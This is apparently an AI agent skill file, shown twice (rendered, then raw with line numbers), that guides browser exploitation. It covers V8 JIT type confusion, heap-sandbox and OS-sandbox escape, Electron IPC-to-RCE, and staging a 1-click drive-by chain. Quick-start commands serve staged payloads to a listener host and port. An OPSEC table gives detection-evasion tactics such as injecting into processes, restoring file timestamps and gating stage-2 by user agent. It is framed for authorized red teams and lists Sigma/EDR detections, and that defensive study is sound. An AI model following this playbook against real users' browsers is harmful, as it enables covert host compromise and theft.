Browser & Client-Side Exploitation
Turn a single client-side bug into full host compromise. The modern browser is a chain target: a JS-engine bug yields an in-renderer arbitrary read/write, the V8 heap sandbox must be escaped to get a native R/W, then a second logic/memory bug in a privileged process (browser broker, GPU) escapes the OS sandbox. Electron and embedded webviews collapse several of these steps. Every cluster pairs the offensive primitive with renderer-crash/IPC telemetry, Sigma/EDR detection, and cleanup OPSEC.
When to Activate
- A V8/JavaScriptCore bug (type confusion, OOB, UAF, JIT mis-speculation) must become
addrof/fakeobj and an in-renderer arbitrary R/W.
- An in-renderer R/W exists but is trapped inside the V8 heap sandbox (pointer compression) and needs a trusted-pointer / Wasm-object escape to native memory.
- A renderer is fully compromised and you need to escape the OS sandbox via Mojo IPC handle/logic bugs or the GPU process (Dawn/WebGPU, ANGLE).
- Auditing or exploiting an Electron / CEF / WebView2 app:
contextIsolation/nodeIntegration/sandbox misconfig, preload-bridge & IPC abuse, ASAR/fuse/snapshot tampering.
- Assembling a 1-click drive-by RCE chain (renderer → sandbox escape → host) for an authorized red-team delivery, or doing cross-engine (Safari/JSC) work.
- Patch-diffing a Chrome/V8/WebKit security release to build an n-day client-side exploit.
Technique Map
| Technique |
ATT&CK |
CWE |
Reference |
Script |
| JIT type confusion (TurboFan/Maglev/Turboshaft) |
T1203 |
CWE-843 |
references/v8-jit-typeconfusion.md |
scripts/v8_typer.js |
| Element-kind confusion -> addrof/fakeobj |
T1203 |
CWE-843 |
references/v8-jit-typeconfusion.md |
scripts/v8_typer.js |
| OOB read/write on JSArray/TypedArray |
T1203 |
CWE-787 |
references/v8-jit-typeconfusion.md |
scripts/v8_typer.js |
| In-renderer arbitrary R/W (fake TypedArray) |
T1203 |
CWE-787 |
references/v8-jit-typeconfusion.md |
scripts/v8_typer.js |
| V8 heap-sandbox escape via raw Wasm pointer |
T1203 |
CWE-787 |
references/v8-sandbox-escape.md |
scripts/sandbox_escape.js |
| Trusted Pointer Table / WasmExportedFunctionData abuse |
T1203 |
CWE-843 |
references/v8-sandbox-escape.md |
scripts/sandbox_escape.js |
| Code/exec via Wasm JIT region pivot |
T1203 |
CWE-94 |
references/v8-sandbox-escape.md |
scripts/sandbox_escape.js |
| Mojo IPC handle-confusion sandbox escape |
T1203 |
CWE-269 |
references/renderer-to-browser-escape.md |
scripts/mojo_fuzz_harness.py |
| GPU-process UAF/OOB (Dawn/WebGPU, ANGLE) |
T1203 |
CWE-416 |
references/renderer-to-browser-escape.md |
scripts/mojo_fuzz_harness.py |
| Mojo interface fuzzing for broker bugs |
T1203 |
CWE-20 |
references/renderer-to-browser-escape.md |
scripts/mojo_fuzz_harness.py |
| Electron contextIsolation/IPC bridge RCE |
T1059.007 |
CWE-1188 |
references/electron-webview-rce.md |
scripts/electron_audit.py |
| nodeIntegration / webviewTag preload abuse |
T1059.007 |
CWE-829 |
references/electron-webview-rce.md |
scripts/electron_audit.py |
| ASAR integrity / fuse / V8 snapshot tamper |
T1574.002 |
CWE-345 |
references/electron-webview-rce.md |
scripts/electron_audit.py |
| XSS/open-redirect -> Electron RCE |
T1189 |
CWE-79 |
references/electron-webview-rce.md |
scripts/electron_audit.py |
| 1-click drive-by chain delivery |
T1189 |
CWE-693 |
references/clientside-rce-chains.md |
scripts/chain_server.py |
| Cross-engine (JSC/WebKit) primitive port |
T1203 |
CWE-843 |
references/clientside-rce-chains.md |
scripts/chain_server.py |
Quick Start
# 0. Pin the exact target build (Chrome/Edge/Electron all carry a V8 version)
# chrome://version | edge://version | electron --version
jsvu --engines=v8 # local d8 of matching version
./scripts/d8_debug.sh ./d8 ./poc.js # d8 w/ exploit-friendly flags
# 1. Engine bug -> in-renderer R/W (see references/v8-jit-typeconfusion.md)
d8 --allow-natives-syntax --shell ./scripts/v8_typer.js
# yields addrof(), fakeobj(), read64()/write64() inside the V8 heap cage
# 2. Escape the V8 heap sandbox -> native R/W (references/v8-sandbox-escape.md)
d8 --no-sandbox-testing-mode ./scripts/sandbox_escape.js # local test;
# on a real build: abuse trusted Wasm object raw pointer -> overwrite RWX Wasm code
# 3. Escape the OS sandbox: Mojo broker logic bug OR GPU-process memory bug
python3 scripts/mojo_fuzz_harness.py --interface FileSystemAccess --iters 100000
# 4. Electron / webview target: audit + weaponize
python3 scripts/electron_audit.py /path/to/app.asar # finds nodeIntegration/IPC/fuse gaps
# craft IPC/preload payload from the report; package XSS->RCE
# 5. Stage the full 1-click chain and serve it
python3 scripts/chain_server.py --stage1 renderer.js --stage2 escape.js --lhost 10.0.0.5 --lport 8080
OPSEC & Detection (summary)
| Technique |
Telemetry/IOC |
Detection (Sigma/EDR) |
OPSEC note |
| JIT type confusion |
Renderer crash dumps (chrome_crashpad, crashpad_handler), GPU/renderer restarts, *-crash in ~/AppData/Local/.../Crashpad |
Sigma: spike in renderer crash reports; EDR on crashpad_handler bursts |
Spray/clean up corrupted arrays; bail without crashing on failed type-check; do not leave %DebugPrint calls |
| V8 sandbox escape |
Native R/W faults if math is off; abnormal RWX Wasm pages |
EDR: RWX region churn inside chrome.exe/renderer; ETW VirtualProtect to RWX |
Keep corruption inside the cage until the last step; reuse existing RWX Wasm code page rather than allocating new |
| Mojo broker escape |
Browser process spawning cmd.exe/powershell.exe/rundll32.exe; unexpected file writes by broker |
Sigma: chrome.exe/msedge.exe parent -> shell child; EDR child-process rule; Mojo message audit |
Live off the broker's own capabilities (file write, process launch); avoid spawning a console child — inject instead |
| GPU-process bug |
GPU process crashes (--type=gpu), Dawn/ANGLE asserts, DXGI/Metal faults |
EDR on GPU-process child anomalies; WebGPU enabled via policy = surface |
Test against the right GPU backend (D3D11/Metal/Vulkan); fail closed without crashing the GPU process |
| Electron IPC/preload RCE |
app.asar mtime change, node child of Electron app, child_process.exec |
Sigma: Electron app spawning shells; FIM on app.asar/snapshot blobs |
Prefer in-process JS exec (require gadget) over child_process; restore app.asar mtime after fuse/snapshot tamper |
| Drive-by chain delivery |
Suspicious text/html with large encoded JS, WebSocket/long-poll to attacker host, UA-gated content |
Proxy/Sigma on long base64/%u blobs in HTML; JA3/JA4 of staging host |
UA/feature gate so only the exact target build receives stage-2; single-use, expiring URLs |
Deep Dives
- references/v8-jit-typeconfusion.md — V8 object model, Map/element-kinds, TurboFan/Maglev/Turboshaft speculation bugs; CVE-2024-4947/5274, CVE-2025-2135/5419/10585 patterns. Build
addrof/fakeobj and an in-cage arbitrary R/W via a fake TypedArray. Backed by v8_typer.js, d8_debug.sh.
- references/v8-sandbox-escape.md — The V8 heap sandbox (pointer compression, external-pointer & trusted-pointer tables); escaping via raw pointers in Wasm objects (WasmIndirectFunctionTable / Liftoff), Trusted Pointer Table abuse, and pivot to RWX Wasm code. Backed by
sandbox_escape.js.
- references/renderer-to-browser-escape.md — Escaping the OS sandbox: Mojo IPC handle-confusion logic bugs (CVE-2025-2783 ForumTroll, CVE-2025-4609 ipcz), GPU-process memory bugs (Dawn/WebGPU, ANGLE CVE-2025-6558), fuzzing Mojo interfaces. Backed by
mojo_fuzz_harness.py.
- references/electron-webview-rce.md — Electron/CEF/WebView2 model;
nodeIntegration/contextIsolation/sandbox matrix, preload-bridge & IPC abuse, deprecated webviewTag, ASAR integrity bypass (CVE-2025-55305) and V8 snapshot/fuse tampering, XSS->RCE. Backed by electron_audit.py.
- references/clientside-rce-chains.md — Stitching primitives into a reliable 1-click chain; staged delivery, UA/feature gating, reliability hardening, cross-engine (JSC/WebKit CVE-2025-43529) primitive porting, patch-diffing for n-days. Backed by
chain_server.py.
1---2name: browser-exploitation3description: Use when building a client-side browser exploit — V8/JSC JIT type confusion to renderer R/W, V8 heap-sandbox escape, renderer-to-browser sandbox escape (Mojo IPC, GPU/Dawn/ANGLE), Electron/webview IPC abuse, 1-click RCE chains4---56# Browser & Client-Side Exploitation78Turn a single client-side bug into full host compromise. The modern browser is a chain target: a JS-engine bug yields an in-renderer arbitrary read/write, the V8 heap sandbox must be escaped to get a native R/W, then a second logic/memory bug in a privileged process (browser broker, GPU) escapes the OS sandbox. Electron and embedded webviews collapse several of these steps. Every cluster pairs the offensive primitive with renderer-crash/IPC telemetry, Sigma/EDR detection, and cleanup OPSEC.910## When to Activate1112- A V8/JavaScriptCore bug (type confusion, OOB, UAF, JIT mis-speculation) must become `addrof`/`fakeobj` and an in-renderer arbitrary R/W.13- An in-renderer R/W exists but is trapped inside the **V8 heap sandbox** (pointer compression) and needs a trusted-pointer / Wasm-object escape to native memory.14- A renderer is fully compromised and you need to escape the **OS sandbox** via Mojo IPC handle/logic bugs or the GPU process (Dawn/WebGPU, ANGLE).15- Auditing or exploiting an **Electron / CEF / WebView2** app: `contextIsolation`/`nodeIntegration`/`sandbox` misconfig, preload-bridge & IPC abuse, ASAR/fuse/snapshot tampering.16- Assembling a **1-click drive-by RCE chain** (renderer → sandbox escape → host) for an authorized red-team delivery, or doing cross-engine (Safari/JSC) work.17- Patch-diffing a Chrome/V8/WebKit security release to build an n-day client-side exploit.1819## Technique Map2021| Technique | ATT&CK | CWE | Reference | Script |22|-----------|--------|-----|-----------|--------|23| JIT type confusion (TurboFan/Maglev/Turboshaft) | T1203 | CWE-843 | references/v8-jit-typeconfusion.md | scripts/v8_typer.js |24| Element-kind confusion -> addrof/fakeobj | T1203 | CWE-843 | references/v8-jit-typeconfusion.md | scripts/v8_typer.js |25| OOB read/write on JSArray/TypedArray | T1203 | CWE-787 | references/v8-jit-typeconfusion.md | scripts/v8_typer.js |26| In-renderer arbitrary R/W (fake TypedArray) | T1203 | CWE-787 | references/v8-jit-typeconfusion.md | scripts/v8_typer.js |27| V8 heap-sandbox escape via raw Wasm pointer | T1203 | CWE-787 | references/v8-sandbox-escape.md | scripts/sandbox_escape.js |28| Trusted Pointer Table / WasmExportedFunctionData abuse | T1203 | CWE-843 | references/v8-sandbox-escape.md | scripts/sandbox_escape.js |29| Code/exec via Wasm JIT region pivot | T1203 | CWE-94 | references/v8-sandbox-escape.md | scripts/sandbox_escape.js |30| Mojo IPC handle-confusion sandbox escape | T1203 | CWE-269 | references/renderer-to-browser-escape.md | scripts/mojo_fuzz_harness.py |31| GPU-process UAF/OOB (Dawn/WebGPU, ANGLE) | T1203 | CWE-416 | references/renderer-to-browser-escape.md | scripts/mojo_fuzz_harness.py |32| Mojo interface fuzzing for broker bugs | T1203 | CWE-20 | references/renderer-to-browser-escape.md | scripts/mojo_fuzz_harness.py |33| Electron contextIsolation/IPC bridge RCE | T1059.007 | CWE-1188 | references/electron-webview-rce.md | scripts/electron_audit.py |34| nodeIntegration / webviewTag preload abuse | T1059.007 | CWE-829 | references/electron-webview-rce.md | scripts/electron_audit.py |35| ASAR integrity / fuse / V8 snapshot tamper | T1574.002 | CWE-345 | references/electron-webview-rce.md | scripts/electron_audit.py |36| XSS/open-redirect -> Electron RCE | T1189 | CWE-79 | references/electron-webview-rce.md | scripts/electron_audit.py |37| 1-click drive-by chain delivery | T1189 | CWE-693 | references/clientside-rce-chains.md | scripts/chain_server.py |38| Cross-engine (JSC/WebKit) primitive port | T1203 | CWE-843 | references/clientside-rce-chains.md | scripts/chain_server.py |3940## Quick Start4142```bash43# 0. Pin the exact target build (Chrome/Edge/Electron all carry a V8 version)44# chrome://version | edge://version | electron --version45jsvu --engines=v8 # local d8 of matching version46./scripts/d8_debug.sh ./d8 ./poc.js # d8 w/ exploit-friendly flags4748# 1. Engine bug -> in-renderer R/W (see references/v8-jit-typeconfusion.md)49d8 --allow-natives-syntax --shell ./scripts/v8_typer.js50# yields addrof(), fakeobj(), read64()/write64() inside the V8 heap cage5152# 2. Escape the V8 heap sandbox -> native R/W (references/v8-sandbox-escape.md)53d8 --no-sandbox-testing-mode ./scripts/sandbox_escape.js # local test;54# on a real build: abuse trusted Wasm object raw pointer -> overwrite RWX Wasm code5556# 3. Escape the OS sandbox: Mojo broker logic bug OR GPU-process memory bug57python3 scripts/mojo_fuzz_harness.py --interface FileSystemAccess --iters 1000005859# 4. Electron / webview target: audit + weaponize60python3 scripts/electron_audit.py /path/to/app.asar # finds nodeIntegration/IPC/fuse gaps61# craft IPC/preload payload from the report; package XSS->RCE6263# 5. Stage the full 1-click chain and serve it64python3 scripts/chain_server.py --stage1 renderer.js --stage2 escape.js --lhost 10.0.0.5 --lport 808065```6667## OPSEC & Detection (summary)6869| Technique | Telemetry/IOC | Detection (Sigma/EDR) | OPSEC note |70|-----------|---------------|-----------------------|------------|71| JIT type confusion | Renderer crash dumps (`chrome_crashpad`, `crashpad_handler`), GPU/renderer restarts, `*-crash` in `~/AppData/Local/.../Crashpad` | Sigma: spike in renderer crash reports; EDR on `crashpad_handler` bursts | Spray/clean up corrupted arrays; bail without crashing on failed type-check; do not leave `%DebugPrint` calls |72| V8 sandbox escape | Native R/W faults if math is off; abnormal RWX Wasm pages | EDR: RWX region churn inside `chrome.exe`/renderer; ETW `VirtualProtect` to RWX | Keep corruption inside the cage until the last step; reuse existing RWX Wasm code page rather than allocating new |73| Mojo broker escape | Browser process spawning `cmd.exe`/`powershell.exe`/`rundll32.exe`; unexpected file writes by broker | Sigma: `chrome.exe`/`msedge.exe` parent -> shell child; EDR child-process rule; Mojo message audit | Live off the broker's own capabilities (file write, process launch); avoid spawning a console child — inject instead |74| GPU-process bug | GPU process crashes (`--type=gpu`), Dawn/ANGLE asserts, `DXGI`/`Metal` faults | EDR on GPU-process child anomalies; WebGPU enabled via policy = surface | Test against the right GPU backend (D3D11/Metal/Vulkan); fail closed without crashing the GPU process |75| Electron IPC/preload RCE | `app.asar` mtime change, `node` child of Electron app, `child_process.exec` | Sigma: Electron app spawning shells; FIM on `app.asar`/snapshot blobs | Prefer in-process JS exec (require gadget) over `child_process`; restore `app.asar` mtime after fuse/snapshot tamper |76| Drive-by chain delivery | Suspicious `text/html` with large encoded JS, WebSocket/long-poll to attacker host, UA-gated content | Proxy/Sigma on long base64/`%u` blobs in HTML; JA3/JA4 of staging host | UA/feature gate so only the exact target build receives stage-2; single-use, expiring URLs |7778## Deep Dives7980- references/v8-jit-typeconfusion.md — V8 object model, Map/element-kinds, TurboFan/Maglev/Turboshaft speculation bugs; CVE-2024-4947/5274, CVE-2025-2135/5419/10585 patterns. Build `addrof`/`fakeobj` and an in-cage arbitrary R/W via a fake TypedArray. Backed by `v8_typer.js`, `d8_debug.sh`.81- references/v8-sandbox-escape.md — The V8 heap sandbox (pointer compression, external-pointer & trusted-pointer tables); escaping via raw pointers in Wasm objects (WasmIndirectFunctionTable / Liftoff), Trusted Pointer Table abuse, and pivot to RWX Wasm code. Backed by `sandbox_escape.js`.82- references/renderer-to-browser-escape.md — Escaping the OS sandbox: Mojo IPC handle-confusion logic bugs (CVE-2025-2783 ForumTroll, CVE-2025-4609 ipcz), GPU-process memory bugs (Dawn/WebGPU, ANGLE CVE-2025-6558), fuzzing Mojo interfaces. Backed by `mojo_fuzz_harness.py`.83- references/electron-webview-rce.md — Electron/CEF/WebView2 model; `nodeIntegration`/`contextIsolation`/`sandbox` matrix, preload-bridge & IPC abuse, deprecated `webviewTag`, ASAR integrity bypass (CVE-2025-55305) and V8 snapshot/fuse tampering, XSS->RCE. Backed by `electron_audit.py`.84- references/clientside-rce-chains.md — Stitching primitives into a reliable 1-click chain; staged delivery, UA/feature gating, reliability hardening, cross-engine (JSC/WebKit CVE-2025-43529) primitive porting, patch-diffing for n-days. Backed by `chain_server.py`.
hypnguyen1209